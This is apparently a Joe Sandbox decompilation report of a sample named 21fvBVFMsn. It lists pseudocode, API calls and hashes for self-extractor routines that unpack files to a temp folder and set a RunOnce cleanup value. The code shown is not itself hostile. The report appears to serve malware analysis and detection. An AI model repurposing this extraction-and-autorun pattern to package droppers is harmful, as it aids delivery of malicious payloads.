Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: 14cdab8e366d3a8ea54cc515ed243b472bbf04b9d2f057c518879c52ab7a55c8
Instruction ID: 09b6a01cf85b3fbcb4fa035a178e3005a1c4458a8d1b3f12240345e03a8441c9
Opcode Fuzzy Hash: 14cdab8e366d3a8ea54cc515ed243b472bbf04b9d2f057c518879c52ab7a55c8
Instruction Fuzzy Hash: D4E04F3C694318BBE721DBD0FC0AF5D7B69F7D1741F100194B905A0061EB665E15D716

Uniqueness

Uniqueness Score: -1.00%

Function 00A44CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00A44CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0xa48004; // 0x173b1603
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0xa491d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E00A44E99(_t75);
						L35:
						return E00A46CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0xa48584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0xa491e4;
						_t58 = 0xa491e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0xa491e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0xa491e4;
						_t30 = E00A44702( &_v268, 0xa491e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E00A4476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E00A44980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E00A447E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0xa493f4 =  *0xa493f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0xa491e4;
						_t63 = 0xa491e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0xa491e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0xa491e4;
						_t30 = E00A44702( &_v268, 0xa491e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E00A44C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E00A44B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E00A44B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x00a44cd0
0x00a44cdb
0x00a44ce0
0x00a44ce2
0x00a44cee
0x00a44cf2
0x00a44d0e
0x00a44d0e
0x00a44d11
0x00a44e83
0x00a44e88
0x00a44e98
0x00a44e98
0x00a44d17
0x00a44d17
0x00a44d1a
0x00a44d2f
0x00a44d2f
0x00000000
0x00a44d2f
0x00a44d1c
0x00a44d1c
0x00a44d1f
0x00a44dcb
0x00a44dd0
0x00a44dd2
0x00a44ddd
0x00a44ddd
0x00a44de3
0x00a44de8
0x00a44ded
0x00a44ded
0x00a44def
0x00a44df0
0x00a44df0
0x00a44df4
0x00a44df4
0x00a44df6
0x00a44df9
0x00a44dfc
0x00a44dfc
0x00a44dfe
0x00a44dff
0x00a44dff
0x00a44e03
0x00a44e08
0x00a44e0a
0x00a44e0f
0x00a44d03
0x00a44d03
0x00000000
0x00a44d03
0x00a44e18
0x00a44e20
0x00a44e25
0x00a44e27
0x00000000
0x00000000
0x00a44e33
0x00a44e38
0x00a44e3a
0x00000000
0x00000000
0x00a44e40
0x00a44e51
0x00a44e56
0x00a44e5b
0x00a44e5e
0x00000000
0x00000000
0x00a44e6a
0x00a44e6f
0x00a44e71
0x00000000
0x00000000
0x00a44e77
0x00a44e7d
0x00000000
0x00a44e7d
0x00a44d25
0x00a44d25
0x00a44d28
0x00a44d36
0x00a44d3b
0x00a44d40
0x00a44d40
0x00a44d42
0x00a44d43
0x00a44d43
0x00a44d47
0x00a44d4a
0x00a44d4a
0x00a44d4c
0x00a44d4f
0x00a44d4f
0x00a44d51
0x00a44d52
0x00a44d52
0x00a44d56
0x00a44d5b
0x00a44d5d
0x00a44d62
0x00000000
0x00000000
0x00a44d67
0x00a44d6f
0x00a44d74
0x00a44d76
0x00000000
0x00000000
0x00a44d7c
0x00a44d84
0x00a44d89
0x00a44d8b
0x00000000
0x00000000
0x00a44d94
0x00a44d99
0x00a44d9e
0x00a44da1
0x00a44daa
0x00a44daa
0x00a44da3
0x00a44da3
0x00a44da3
0x00a44db5
0x00a44dbb
0x00a44dbd
0x00000000
0x00a44dc3
0x00a44dc5
0x00000000
0x00a44dc5
0x00a44dbd
0x00a44d2a
0x00a44d2a
0x00a44d2d
0x00000000
0x00000000
0x00000000
0x00a44d2d
0x00a44cf8
0x00a44cfd
0x00a44d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00A44DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00A44DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A44D36, 00A44DE3

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-2312194364
Opcode ID: 3c87f237eaaa6065cfca28d657f041df9747b202d00ef8b405f877b3e14aff33
Instruction ID: 8289bc8ae095f592c532f6224ce2f310b125ea1b62fa9122ca5ae9a8599da598
Opcode Fuzzy Hash: 3c87f237eaaa6065cfca28d657f041df9747b202d00ef8b405f877b3e14aff33
Instruction Fuzzy Hash: B941053EA005019BCB259F38DD447F677A5EBCE304F144668D88697685DF32DE46C750

Uniqueness

Uniqueness Score: -1.00%

Function 00A44C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A44C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0xa48d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0xa48d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x00a44c40
0x00a44c4a
0x00a44c8d
0x00000000
0x00a44c70
0x00a44c70
0x00a44c7e
0x00a44c86
0x00000000
0x00000000
0x00000000
0x00a44c8a

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00A44C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00A44C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00A44C7E

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 8197dec82b5c24fd4590fd7f95ca95057bef35acd54b6240e2ebff17ffb8b43a
Instruction ID: a446cac00959fd78aaff6487da647e2669c6a63416440a4d7382cc8d839206ab
Opcode Fuzzy Hash: 8197dec82b5c24fd4590fd7f95ca95057bef35acd54b6240e2ebff17ffb8b43a
Instruction Fuzzy Hash: CAF0907EA0120CAFAB64DFB4DC88EBB77ADEB99241B48052AA815C1050EA31D914C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A4487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00A4487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E00A4490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x00a44880
0x00a4488c
0x00a44894
0x00a448a0
0x00a448c9
0x00a448ce
0x00a448a2
0x00a448a8
0x00a448b7
0x00a448bc
0x00a448aa
0x00a448ac
0x00a448ac
0x00a448a8
0x00a448de
0x00a448e7
0x00a4490b
0x00a448ee
0x00a448f0
0x00000000
0x00a44902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00A44A23,?,00A44F67,*MEMCAB,00008000,00000180), ref: 00A448DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00A44F67,*MEMCAB,00008000,00000180), ref: 00A44902

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f852d3ed4d365f2fc59bcb78482b8cd22d333de780742c365c0179b4a3e6d5e3
Instruction ID: 24f42b8dcbde62288e7ee69becc3bae6400bbd50952107d828ced6d6d7af3d18
Opcode Fuzzy Hash: f852d3ed4d365f2fc59bcb78482b8cd22d333de780742c365c0179b4a3e6d5e3
Instruction Fuzzy Hash: 16016DABE5697026F32481694C88FB7555CCBDA735F1B0334BDEAE71D2D6644C0491E0

Uniqueness

Uniqueness Score: -1.00%

Function 00A44AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A44AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0xa4858c; // 0x268
				_t9 = E00A43680(_t20);
				if( *0xa491d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0xa48d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0xa49400; // 0xc7800
							_t15 = _t14 + _t25;
							 *0xa49400 = _t15;
							if( *0xa48184 != 0) {
								_t21 =  *0xa48584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0xa493f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x00a44ad5
0x00a44adb
0x00a44ae7
0x00a44aee
0x00a44b05
0x00a44b0d
0x00a44b14
0x00a44b1a
0x00a44b1c
0x00a44b21
0x00a44b2a
0x00a44b2f
0x00a44b31
0x00a44b39
0x00a44b54
0x00a44b54
0x00a44b39
0x00a44b2f
0x00a44b0f
0x00a44b0f
0x00a44b0f
0x00a44b5e
0x00a44ae9
0x00a44aed
0x00a44aed

APIs

Part of subcall function 00A43680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00A4369F
Part of subcall function 00A43680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00A436B2
Part of subcall function 00A43680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00A436DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00A44B05

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 4eca0a5de7621436c9bb09cb5485ea05d95532f6f1121b5ff437a85fda5ec39a
Instruction ID: 6a8dd62eb3369647295344a3a7e3bd0dbd94473a5412385336496dd6f83f5d76
Opcode Fuzzy Hash: 4eca0a5de7621436c9bb09cb5485ea05d95532f6f1121b5ff437a85fda5ec39a
Instruction Fuzzy Hash: 2401403D241205ABDB14CF98EC05BA77769E7C9729F148225F939971E0CB72D823CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A4658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A4658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0xa48b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0xa48b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E00A416B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x00a46592
0x00a46594
0x00a46596
0x00a46598
0x00a46598
0x00a4659b
0x00a4659b
0x00a4659d
0x00a4659e
0x00a465a2
0x00a465a4
0x00a465a9
0x00a465b2
0x00a465b6
0x00a465ba
0x00a465c3
0x00a465c5
0x00a465c8
0x00a465c8
0x00a465c3
0x00a465c9
0x00a465cc
0x00a465d2
0x00a465d1
0x00a465d1
0x00000000
0x00a465dc
0x00000000

APIs

CharPrevA.USER32(00A48B3E,00A48B3F,00000001,00A48B3E,-00000003,?,00A460EC,00A41140,?), ref: 00A465BA

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 6dbf4d442b0d1c6cb501ad7d74094e14b36118780ebda9296bf529ab53fbb398
Instruction ID: 0a0f3ae5298ea4bb3cba7f328fd41e778e12c53e8accae80df703b75d68f42af
Opcode Fuzzy Hash: 6dbf4d442b0d1c6cb501ad7d74094e14b36118780ebda9296bf529ab53fbb398
Instruction Fuzzy Hash: 38F04C3A1042509BD3315E1D9884B67BFDE9BC7350F28016EE8DAC3205CA658C4683A3

Uniqueness

Uniqueness Score: -1.00%

Function 00A4621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A4621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0xa48004; // 0x173b1603
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E00A4597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E00A444B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0xa49124 = E00A46285();
					_t9 = 0;
				}
				return E00A46CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x00a46229
0x00a46230
0x00a46247
0x00a4626a
0x00a46272
0x00a46249
0x00a46255
0x00a4625f
0x00a46264
0x00a46264
0x00a46284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00A4623F

Part of subcall function 00A444B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
Part of subcall function 00A444B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554

Part of subcall function 00A46285: GetLastError.KERNEL32(00A45BBC), ref: 00A46285

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 5fdf7aedb1952bf290419f165bc22fbb7f6d5e39308fbaa01e9972bacc1865db
Instruction ID: b23c72af148346e13eeff2f7f6fd6fe8e92453e1238a1f16fdf8256cd36b2f07
Opcode Fuzzy Hash: 5fdf7aedb1952bf290419f165bc22fbb7f6d5e39308fbaa01e9972bacc1865db
Instruction Fuzzy Hash: 02F0E9B8B00208BBD750EBB49E02FFF33BCDBD5300F40006AB986D6082DEB59D458651

Uniqueness

Uniqueness Score: -1.00%

Function 00A44B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A44B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0xa48d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0xa48d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0xa48d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0xa48d60)) = 1;
				 *((intOrPtr*)(_t15 + 0xa48d68)) = 0;
				 *((intOrPtr*)(_t15 + 0xa48d70)) = 0;
				 *((intOrPtr*)(_t15 + 0xa48d6c)) = 0;
				return 0;
			}

0x00a44b66
0x00a44b74
0x00a44b98
0x00a44ba0
0x00000000
0x00a44bac
0x00a44ba4
0x00000000
0x00a44ba4
0x00a44b78
0x00a44b7e
0x00a44b84
0x00a44b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00A44FA1,00000000), ref: 00A44B98

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f6b9c8af8d03ad5ea062f8992a6f5a7361d34ff098fdd9fae98a6142b9c6d4e7
Instruction ID: 917d19439405a7fccc52a758e6adafac39f0e03f1bd6f5e2b6af3b0940efdc7e
Opcode Fuzzy Hash: f6b9c8af8d03ad5ea062f8992a6f5a7361d34ff098fdd9fae98a6142b9c6d4e7
Instruction Fuzzy Hash: ADF01239D41B089E9B71DF79EC00656BBE4EAE5360310092E946EE2190DB74A442DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A466AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A466AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x00a466b1
0x00a466ba
0x00a466c7
0x00a466bc
0x00a466be
0x00a466be

APIs

GetFileAttributesA.KERNELBASE(?,00A44777,?,00A44E38,?), ref: 00A466B1

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c775fc15ddd7026894e0f587e11b963e527030dda54bd4ab264c1f3091c0c1ea
Instruction ID: 17831a0eb4a929b012183fed9a40d22d312bda9682cdfcc620b164585b0459ca
Opcode Fuzzy Hash: c775fc15ddd7026894e0f587e11b963e527030dda54bd4ab264c1f3091c0c1ea
Instruction Fuzzy Hash: 79B0927E262450426A2447B16C295562941A6D263B7E51B94F032C01E0CA3EC846D005

Uniqueness

Uniqueness Score: -1.00%

Function 00A44CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A44CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x00a44caa
0x00a44cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00A44CAA

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 475ca8363c9863bcdf75b2988461c13a7917b46a1065668218ed99b1f6ff8fe2
Instruction ID: 1f8cd68ca1780d77173fa8408a7012a6d70bcf3868f92546a5651efbf26bbf80
Opcode Fuzzy Hash: 475ca8363c9863bcdf75b2988461c13a7917b46a1065668218ed99b1f6ff8fe2
Instruction Fuzzy Hash: F3B0123A08420CB7DF001FC2EC09F853F1DE7C5761F140000F60C454508A73941186A6

Uniqueness

Uniqueness Score: -1.00%

Function 00A44CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A44CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x00a44cc8
0x00a44ccf

APIs

GlobalFree.KERNELBASE ref: 00A44CC8

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
